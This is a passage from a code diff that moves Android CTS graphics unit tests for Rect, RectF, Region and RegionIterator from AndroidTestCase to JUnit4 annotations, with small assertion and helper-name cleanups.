         assertTrue(mRectF.setIntersect(rectF1, rectF2));
-        assertEquals(5.0f, mRectF.left);
-        assertEquals(5.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
+        assertEquals(5.0f, mRectF.left, 0.0f);
+        assertEquals(5.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
 
         // Not Empty RectF
         mRectF = new RectF(0, 0, 15, 15);
         assertTrue(mRectF.setIntersect(rectF1, rectF2));
-        assertEquals(5.0f, mRectF.left);
-        assertEquals(5.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
-
+        assertEquals(5.0f, mRectF.left, 0.0f);
+        assertEquals(5.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testRoundOut() {
-
         Rect rect = new Rect();
         mRectF = new RectF(1.2f, 1.8f, 5.2f, 5.8f);
         mRectF.roundOut(rect);
-        assertEquals(1, rect.left);
-        assertEquals(1, rect.top);
-        assertEquals(6, rect.right);
-        assertEquals(6, rect.bottom);
-
+        assertEquals(1, rect.left, 0.0f);
+        assertEquals(1, rect.top, 0.0f);
+        assertEquals(6, rect.right, 0.0f);
+        assertEquals(6, rect.bottom, 0.0f);
     }
 
+    @Test
     public void testRound() {
-
         Rect rect = new Rect();
         mRectF = new RectF(1.2f, 1.8f, 5.2f, 5.8f);
         mRectF.round(rect);
-        assertEquals(1, rect.left);
-        assertEquals(2, rect.top);
-        assertEquals(5, rect.right);
-        assertEquals(6, rect.bottom);
-
+        assertEquals(1, rect.left, 0.0f);
+        assertEquals(2, rect.top, 0.0f);
+        assertEquals(5, rect.right, 0.0f);
+        assertEquals(6, rect.bottom, 0.0f);
     }
 
+    @Test
     public void testWriteReadParcel() {
         RectF rectOut = new RectF(0.0f,0.0f,10.0f,10.0f);
         Parcel out = Parcel.obtain();
@@ -516,10 +497,10 @@
         out.setDataPosition(0);
         RectF rectIn = new RectF(1.0f,1.0f,1.0f,1.0f);
         rectIn.readFromParcel(out);
-        assertEquals(rectOut.left, rectIn.left);
-        assertEquals(rectOut.bottom, rectIn.bottom);
-        assertEquals(rectOut.right, rectIn.right);
-        assertEquals(rectOut.top, rectIn.top);
+        assertEquals(rectOut.left, rectIn.left, 0.0f);
+        assertEquals(rectOut.bottom, rectIn.bottom, 0.0f);
+        assertEquals(rectOut.right, rectIn.right, 0.0f);
+        assertEquals(rectOut.top, rectIn.top, 0.0f);
         assertNotNull(rectIn.toString());
 
         assertEquals(0, rectIn.describeContents());
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectTest.java b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
index c29ec0d..cb12cb5 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
@@ -16,49 +16,46 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Rect;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RectTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RectTest {
     private Rect mRect;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRect = null;
-    }
-
+    @Test
     public void testConstructor() {
-
-        mRect = null;
-        // new the Rect instance
         mRect = new Rect();
 
-        mRect = null;
-        // new the Rect instance
         mRect = new Rect(10, 10, 20, 20);
 
-        mRect = null;
-        Rect rect = new Rect(10, 10, 20, 20);
-        // new the Rect instance
-        mRect = new Rect(rect);
-
+        mRect = new Rect(new Rect(10, 10, 20, 20));
     }
 
+    @Test
     public void testSet1() {
-
         mRect = new Rect();
         mRect.set(1, 2, 3, 4);
         assertEquals(1, mRect.left);
         assertEquals(2, mRect.top);
         assertEquals(3, mRect.right);
         assertEquals(4, mRect.bottom);
-
     }
 
+    @Test
     public void testSet2() {
-
         Rect rect = new Rect(1, 2, 3, 4);
         mRect = new Rect();
         mRect.set(rect);
@@ -68,8 +65,8 @@
         assertEquals(4, mRect.bottom);
     }
 
+    @Test
     public void testIntersects1() {
-
         mRect = new Rect(0, 0, 10, 10);
         assertTrue(mRect.intersects(5, 5, 15, 15));
         assertEquals(0, mRect.left);
@@ -83,11 +80,10 @@
         assertEquals(0, mRect.top);
         assertEquals(10, mRect.right);
         assertEquals(10, mRect.bottom);
-
     }
 
+    @Test
     public void testIntersects2() {
-
         Rect rect1;
         Rect rect2;
 
@@ -98,27 +94,26 @@
         rect1 = new Rect(0, 0, 10, 10);
         rect2 = new Rect(15, 15, 25, 25);
         assertFalse(Rect.intersects(rect1, rect2));
-
     }
 
+    @Test
     public void testHeight() {
         mRect = new Rect(6, 6, 10, 10);
         assertEquals(4, mRect.height());
     }
 
+    @Test
     public void testOffsetTo() {
-
         mRect = new Rect(5, 5, 10, 10);
         mRect.offsetTo(1, 1);
         assertEquals(1, mRect.left);
         assertEquals(1, mRect.top);
         assertEquals(6, mRect.right);
         assertEquals(6, mRect.bottom);
-
     }
 
+    @Test
     public void testSetIntersect() {
-
         Rect rect1 = new Rect(0, 0, 10, 10);
         Rect rect2 = new Rect(5, 5, 15, 15);
 
@@ -137,11 +132,10 @@
         assertEquals(5, mRect.top);
         assertEquals(10, mRect.right);
         assertEquals(10, mRect.bottom);
-
     }
 
+    @Test
     public void testUnion1() {
-
         // Both rect1 and rect2 are not empty.
         // 1. left < right, top < bottom
         // this.left < this.right, this.top < this.bottom
@@ -189,8 +183,8 @@
         assertEquals(1, mRect.bottom);
     }
 
+    @Test
     public void testUnion2() {
-
         Rect rect;
 
         // Both rect1 and rect2 are not empty.
@@ -245,8 +239,8 @@
         assertEquals(1, mRect.bottom);
     }
 
+    @Test
     public void testUnion3() {
-
         // rect1 is not empty (x > right, y > bottom).
         mRect = new Rect(0, 0, 1, 1);
         mRect.union(2, 2);
@@ -278,31 +272,28 @@
         assertEquals(0, mRect.left);
         assertEquals(2, mRect.right);
         assertEquals(2, mRect.bottom);
-
     }
 
+    @Test
     public void testContains1() {
-
         mRect = new Rect(1, 1, 20, 20);
         assertFalse(mRect.contains(0, 0));
         assertTrue(mRect.contains(1, 1));
         assertTrue(mRect.contains(19, 19));
         assertFalse(mRect.contains(20, 20));
-
     }
 
+    @Test
     public void testContains2() {
-
         mRect = new Rect(1, 1, 20, 20);
         assertTrue(mRect.contains(1, 1, 20, 20));
         assertTrue(mRect.contains(2, 2, 19, 19));
         assertFalse(mRect.contains(21, 21, 22, 22));
         assertFalse(mRect.contains(0, 0, 19, 19));
-
     }
 
+    @Test
     public void testContains3() {
-
         Rect rect;
         mRect = new Rect(1, 1, 20, 20);
         rect = new Rect(1, 1, 20, 20);
@@ -315,13 +306,14 @@
         assertFalse(mRect.contains(rect));
     }
 
+    @Test
     public void testWidth() {
         mRect = new Rect(6, 6, 10, 10);
         assertEquals(4, mRect.width());
     }
 
+    @Test
     public void testIsEmpty() {
-
         mRect = new Rect();
         assertTrue(mRect.isEmpty());
         mRect = new Rect(1, 1, 1, 1);
@@ -332,8 +324,8 @@
         assertFalse(mRect.isEmpty());
     }
 
+    @Test
     public void testIntersect1() {
-
         mRect = new Rect(0, 0, 10, 10);
         assertTrue(mRect.intersect(5, 5, 15, 15));
         assertEquals(5, mRect.left);
@@ -349,8 +341,8 @@
         assertEquals(10, mRect.bottom);
     }
 
+    @Test
     public void testIntersect2() {
-
         Rect rect;
 
         mRect = new Rect(0, 0, 10, 10);
@@ -370,8 +362,8 @@
         assertEquals(10, mRect.bottom);
     }
 
+    @Test
     public void testCenterY() {
-
         mRect = new Rect(10, 10, 20, 20);
         assertEquals(15, mRect.centerY());
         mRect = new Rect(10, 11, 20, 20);
@@ -380,6 +372,7 @@
         assertEquals(16, mRect.centerY());
     }
 
+    @Test
     public void testToString() {
         mRect = new Rect();
         assertNotNull(mRect.toString());
@@ -390,8 +383,8 @@
         assertNotNull(mRect.toShortString());
     }
 
+    @Test
     public void testSort() {
-
         mRect = new Rect(10, 10, 5, 5);
         assertEquals(10, mRect.left);
         assertEquals(10, mRect.top);
@@ -403,43 +396,39 @@
         assertEquals(5, mRect.top);
         assertEquals(10, mRect.right);
         assertEquals(10, mRect.bottom);
-
     }
 
+    @Test
     public void testCenterX() {
-
         mRect = new Rect(10, 10, 20, 20);
         assertEquals(15, mRect.centerX());
         mRect = new Rect(11, 10, 20, 20);
         assertEquals(15, mRect.centerX());
         mRect = new Rect(12, 10, 20, 20);
         assertEquals(16, mRect.centerX());
-
     }
 
+    @Test
     public void testEquals() {
-
         mRect = new Rect(1, 2, 3, 4);
         Rect rect = new Rect(1, 2, 3, 4);
         assertTrue(mRect.equals(rect));
         rect = new Rect(2, 2, 3, 4);
         assertFalse(mRect.equals(rect));
-
     }
 
+    @Test
     public void testOffset() {
-
         mRect = new Rect(5, 5, 10, 10);
         mRect.offset(1, 1);
         assertEquals(6, mRect.left);
         assertEquals(6, mRect.top);
         assertEquals(11, mRect.right);
         assertEquals(11, mRect.bottom);
-
     }
 
+    @Test
     public void testInset() {
-
         mRect = new Rect(5, 5, 10, 10);
         mRect.inset(1, 1);
         assertEquals(6, mRect.left);
@@ -453,11 +442,10 @@
         assertEquals(4, mRect.top);
         assertEquals(11, mRect.right);
         assertEquals(11, mRect.bottom);
-
     }
 
+    @Test
     public void testSetEmpty() {
-
         // Before setEmpty()
         mRect = new Rect(1, 2, 3, 4);
         assertEquals(1, mRect.left);
@@ -471,21 +459,22 @@
         assertEquals(0, mRect.top);
         assertEquals(0, mRect.right);
         assertEquals(0, mRect.bottom);
-
     }
 
+    @Test
     public void testExactCenterX() {
         mRect = new Rect(11, 10, 20, 20);
-        assertEquals(15.5f, mRect.exactCenterX());
+        assertEquals(15.5f, mRect.exactCenterX(), 0.0f);
     }
 
+    @Test
     public void testExactCenterY() {
         mRect = new Rect(10, 11, 20, 20);
-        assertEquals(15.5f, mRect.exactCenterY());
+        assertEquals(15.5f, mRect.exactCenterY(), 0.0f);
     }
 
+    @Test
     public void testAccessParcel() {
-
         Rect rect;
         Parcel p = Parcel.obtain();
         rect = new Rect(1, 2, 3, 4);
@@ -498,9 +487,9 @@
         assertEquals(2, mRect.top);
         assertEquals(3, mRect.right);
         assertEquals(4, mRect.bottom);
-
     }
 
+    @Test
     public void testFlattenToString() {
         Rect mRect = new Rect(1, 2, 3, 4);
         String flattenString = mRect.flattenToString();
@@ -508,14 +497,13 @@
         String unDefinedFormat = "TOPLEFT";
         Rect rect = Rect.unflattenFromString(flattenString);
         assertEquals(mRect, rect);
-        rect = null;
         rect = Rect.unflattenFromString(unDefinedFormat);
         assertNull(rect);
     }
 
+    @Test
     public void testDescribeContents() {
         mRect = new Rect();
         assertEquals(0, mRect.describeContents());
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
index 35ce621..6ac3552 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
@@ -16,17 +16,29 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.graphics.RegionIterator;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RegionIteratorTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RegionIteratorTest {
+    @Test
     public void testConstructor() {
         new RegionIterator(new Region());
     }
 
+    @Test
     public void testNext() {
         Region region = new Region();
         region.set(1, 1, 10, 10);
@@ -35,8 +47,8 @@
         RegionIterator regionIterator = new RegionIterator(region);
         try {
             regionIterator.next(null);
-            fail("should throw exception");
-        } catch (Exception e) {
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
         }
         assertTrue(regionIterator.next(rect));
         assertEquals(1, rect.left);
@@ -170,5 +182,4 @@
         assertEquals(1, rect.right);
         assertEquals(1, rect.bottom);
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
index 10e277b..0eff6cf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RegionTest.java
@@ -16,13 +16,25 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Path;
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RegionTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RegionTest {
 
     // DIFFERENCE
     private final static int[][] DIFFERENCE_WITH1 = {{0, 0}, {4, 4},
@@ -99,18 +111,24 @@
 
     private Region mRegion;
 
-    private void assertPointsInsideRegion(int[][] area) {
+    private void verifyPointsInsideRegion(int[][] area) {
         for (int i = 0; i < area.length; i ++) {
             assertTrue(mRegion.contains(area[i][0], area[i][1]));
         }
     }
 
-    private void assertPointsOutsideRegion(int[][] area) {
+    private void verifyPointsOutsideRegion(int[][] area) {
         for (int i = 0; i < area.length; i ++) {
             assertFalse(mRegion.contains(area[i][0], area[i][1]));
         }
     }
 
+    @Before
+    public void setup() {
+        mRegion = new Region();
+    }
+
+    @Test
     public void testConstructor() {
         // Test Region()
         new Region();
@@ -127,9 +145,8 @@
         new Region(0, 0, 100, 100);
     }
 
+    @Test
     public void testSet1() {
-
-        mRegion = new Region();
         Rect rect = new Rect(1, 2, 3, 4);
         Region oriRegion = new Region(rect);
         assertTrue(mRegion.set(oriRegion));
@@ -139,9 +156,8 @@
         assertEquals(4, mRegion.getBounds().bottom);
     }
 
+    @Test
     public void testSet2() {
-
-        mRegion = new Region();
         Rect rect = new Rect(1, 2, 3, 4);
         assertTrue(mRegion.set(rect));
         assertEquals(1, mRegion.getBounds().left);
@@ -150,9 +166,8 @@
         assertEquals(4, mRegion.getBounds().bottom);
     }
 
+    @Test
     public void testSet3() {
-
-        mRegion = new Region();
         assertTrue(mRegion.set(1, 2, 3, 4));
         assertEquals(1, mRegion.getBounds().left);
         assertEquals(2, mRegion.getBounds().top);
@@ -160,18 +175,16 @@
         assertEquals(4, mRegion.getBounds().bottom);
     }
 
+    @Test
     public void testIsRect() {
-
-        mRegion = new Region();
         assertFalse(mRegion.isRect());
         mRegion = new Region(1, 2, 3, 4);
         assertTrue(mRegion.isRect());
     }
 
+    @Test
     public void testIsComplex() {
-
-        // Region is null
-        mRegion = new Region();
+        // Region is empty
         assertFalse(mRegion.isComplex());
 
         // Only one rectangle
@@ -186,9 +199,8 @@
         assertTrue(mRegion.isComplex());
     }
 
+    @Test
     public void testQuickContains1() {
-
-        mRegion = new Region();
         Rect rect = new Rect(1, 2, 3, 4);
         // This region not contains expected rectangle.
         assertFalse(mRegion.quickContains(rect));
@@ -200,9 +212,8 @@
         assertFalse(mRegion.quickContains(rect));
     }
 
+    @Test
     public void testQuickContains2() {
-
-        mRegion = new Region();
         // This region not contains expected rectangle.
         assertFalse(mRegion.quickContains(1, 2, 3, 4));
         mRegion.set(1, 2, 3, 4);
@@ -213,8 +224,8 @@
         assertFalse(mRegion.quickContains(1, 2, 3, 4));
     }
 
+    @Test
     public void testUnion() {
-
         Rect rect1 = new Rect();
         Rect rect2 = new Rect(0, 0, 20, 20);
         Rect rect3 = new Rect(5, 5, 10, 10);
@@ -222,8 +233,6 @@
         Rect rect5 = new Rect(40, 40, 60, 60);
 
         // union (inclusive-or) the two regions
-        mRegion = null;
-        mRegion = new Region();
         mRegion.set(rect2);
         // union null rectangle
         assertTrue(mRegion.contains(6, 6));
@@ -235,29 +244,28 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.union(rect3));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.union(rect4));
-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.union(rect5));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
+    @Test
     public void testContains() {
-
-        mRegion = new Region();
         mRegion.set(2, 2, 5, 5);
         // Not contain (1, 1).
         assertFalse(mRegion.contains(1, 1));
@@ -288,9 +296,8 @@
         assertTrue(mRegion.contains(7, 7));
     }
 
+    @Test
     public void testEmpty() {
-
-        mRegion = new Region();
         assertTrue(mRegion.isEmpty());
         mRegion = null;
         mRegion = new Region(1, 2, 3, 4);
@@ -299,16 +306,13 @@
         assertTrue(mRegion.isEmpty());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetBoundsNull() {
+        mRegion.getBounds(null);
+    }
+
+    @Test
     public void testGetBounds() {
-
-        // Exception
-        try {
-            mRegion.getBounds(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            //except here
-        }
-
         // Normal, return true.
         Rect rect1 = new Rect(1, 2, 3, 4);
         mRegion = new Region(rect1);
@@ -319,26 +323,25 @@
         assertFalse(mRegion.getBounds(rect2));
     }
 
+    @Test
     public void testOp1() {
-
         Rect rect1 = new Rect();
         Rect rect2 = new Rect(0, 0, 20, 20);
         Rect rect3 = new Rect(5, 5, 10, 10);
         Rect rect4 = new Rect(10, 10, 30, 30);
         Rect rect5 = new Rect(40, 40, 60, 60);
 
-        assertNullRegionOp1(rect1);
-        assertDifferenceOp1(rect1, rect2, rect3, rect4, rect5);
-        assertIntersectOp1(rect1, rect2, rect3, rect4, rect5);
-        assertUnionOp1(rect1, rect2, rect3, rect4, rect5);
-        assertXorOp1(rect1, rect2, rect3, rect4, rect5);
-        assertReverseDifferenceOp1(rect1, rect2, rect3, rect4, rect5);
-        assertReplaceOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyNullRegionOp1(rect1);
+        verifyDifferenceOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyIntersectOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyUnionOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyXorOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyReverseDifferenceOp1(rect1, rect2, rect3, rect4, rect5);
+        verifyReplaceOp1(rect1, rect2, rect3, rect4, rect5);
     }
 
-    private void assertNullRegionOp1(Rect rect1) {
+    private void verifyNullRegionOp1(Rect rect1) {
         // Region without rectangle
-        mRegion = null;
         mRegion = new Region();
         assertFalse(mRegion.op(rect1, Region.Op.DIFFERENCE));
         assertFalse(mRegion.op(rect1, Region.Op.INTERSECT));
@@ -348,11 +351,10 @@
         assertFalse(mRegion.op(rect1, Region.Op.REPLACE));
     }
 
-    private void assertDifferenceOp1(Rect rect1, Rect rect2, Rect rect3,
+    private void verifyDifferenceOp1(Rect rect1, Rect rect2, Rect rect3,
             Rect rect4, Rect rect5) {
         // DIFFERENCE, Region with rectangle
         // subtract the op region from the first region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(rect2);
@@ -362,28 +364,27 @@
         mRegion.set(rect2);
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(rect3, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH1);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT1);
+        verifyPointsInsideRegion(DIFFERENCE_WITH1);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT1);
 
         // 2. subtract rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(11, 11));
         assertTrue(mRegion.op(rect4, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT2);
 
         // 3. subtract rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.op(rect5, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT3);
     }
 
-    private void assertIntersectOp1(Rect rect1, Rect rect2, Rect rect3,
+    private void verifyIntersectOp1(Rect rect1, Rect rect2, Rect rect3,
             Rect rect4, Rect rect5) {
         // INTERSECT, Region with rectangle
         // intersect the two regions
-        mRegion = null;
         mRegion = new Region();
         // intersect null rectangle
         mRegion.set(rect2);
@@ -393,26 +394,24 @@
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.op(rect3, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH1);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT1);
+        verifyPointsInsideRegion(INTERSECT_WITH1);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT1);
 
         // 2. intersect rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(9, 9));
         assertTrue(mRegion.op(rect4, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH2);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT2);
+        verifyPointsInsideRegion(INTERSECT_WITH2);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT2);
 
         // 3. intersect rectangle out of this region
         mRegion.set(rect2);
         assertFalse(mRegion.op(rect5, Region.Op.INTERSECT));
     }
 
-    private void assertUnionOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4,
-            Rect rect5) {
+    private void verifyUnionOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
         // UNION, Region with rectangle
         // union (inclusive-or) the two regions
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // union null rectangle
@@ -425,31 +424,29 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(rect3, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(rect4, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(rect5, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
-    private void assertXorOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4,
-            Rect rect5) {
+    private void verifyXorOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
         // XOR, Region with rectangle
         // exclusive-or the two regions
-        mRegion = null;
         mRegion = new Region();
         // xor null rectangle
         mRegion.set(rect2);
@@ -460,8 +457,8 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(rect3, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH1);
-        assertPointsOutsideRegion(XOR_WITHOUT1);
+        verifyPointsInsideRegion(XOR_WITH1);
+        verifyPointsOutsideRegion(XOR_WITHOUT1);
 
         // 2. xor rectangle overlap this region
         mRegion.set(rect2);
@@ -469,23 +466,21 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(rect4, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH2);
-        assertPointsOutsideRegion(XOR_WITHOUT2);
+        verifyPointsInsideRegion(XOR_WITH2);
+        verifyPointsOutsideRegion(XOR_WITHOUT2);
 
         // 3. xor rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(rect5, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH3);
-        assertPointsOutsideRegion(XOR_WITHOUT3);
+        verifyPointsInsideRegion(XOR_WITH3);
+        verifyPointsOutsideRegion(XOR_WITHOUT3);
     }
 
-    private void assertReverseDifferenceOp1(Rect rect1, Rect rect2, Rect rect3,
-            Rect rect4, Rect rect5) {
+    private void verifyReverseDifferenceOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
         // REVERSE_DIFFERENCE, Region with rectangle
         // reverse difference the first region from the op region
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // reverse difference null rectangle
@@ -503,23 +498,21 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(rect4, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
 
         // 3. reverse difference rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(rect5, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
     }
 
-    private void assertReplaceOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4,
-            Rect rect5) {
+    private void verifyReplaceOp1(Rect rect1, Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
         // REPLACE, Region with rectangle
         // replace the dst region with the op region
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // subtract null rectangle
@@ -544,25 +537,24 @@
         assertEquals(rect5, mRegion.getBounds());
     }
 
+    @Test
     public void testOp2() {
-
         Rect rect2 = new Rect(0, 0, 20, 20);
         Rect rect3 = new Rect(5, 5, 10, 10);
         Rect rect4 = new Rect(10, 10, 30, 30);
         Rect rect5 = new Rect(40, 40, 60, 60);
 
-        assertNullRegionOp2();
-        assertDifferenceOp2(rect2);
-        assertIntersectOp2(rect2);
-        assertUnionOp2(rect2);
-        assertXorOp2(rect2);
-        assertReverseDifferenceOp2(rect2);
-        assertReplaceOp2(rect2, rect3, rect4, rect5);
+        verifyNullRegionOp2();
+        verifyDifferenceOp2(rect2);
+        verifyIntersectOp2(rect2);
+        verifyUnionOp2(rect2);
+        verifyXorOp2(rect2);
+        verifyReverseDifferenceOp2(rect2);
+        verifyReplaceOp2(rect2, rect3, rect4, rect5);
     }
 
-    private void assertNullRegionOp2() {
+    private void verifyNullRegionOp2() {
         // Region without rectangle
-        mRegion = null;
         mRegion = new Region();
         assertFalse(mRegion.op(0, 0, 0, 0, Region.Op.DIFFERENCE));
         assertFalse(mRegion.op(0, 0, 0, 0, Region.Op.INTERSECT));
@@ -572,10 +564,9 @@
         assertFalse(mRegion.op(0, 0, 0, 0, Region.Op.REPLACE));
     }
 
-    private void assertDifferenceOp2(Rect rect2) {
+    private void verifyDifferenceOp2(Rect rect2) {
         // DIFFERENCE, Region with rectangle
         // subtract the op region from the first region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(rect2);
@@ -585,27 +576,26 @@
         mRegion.set(rect2);
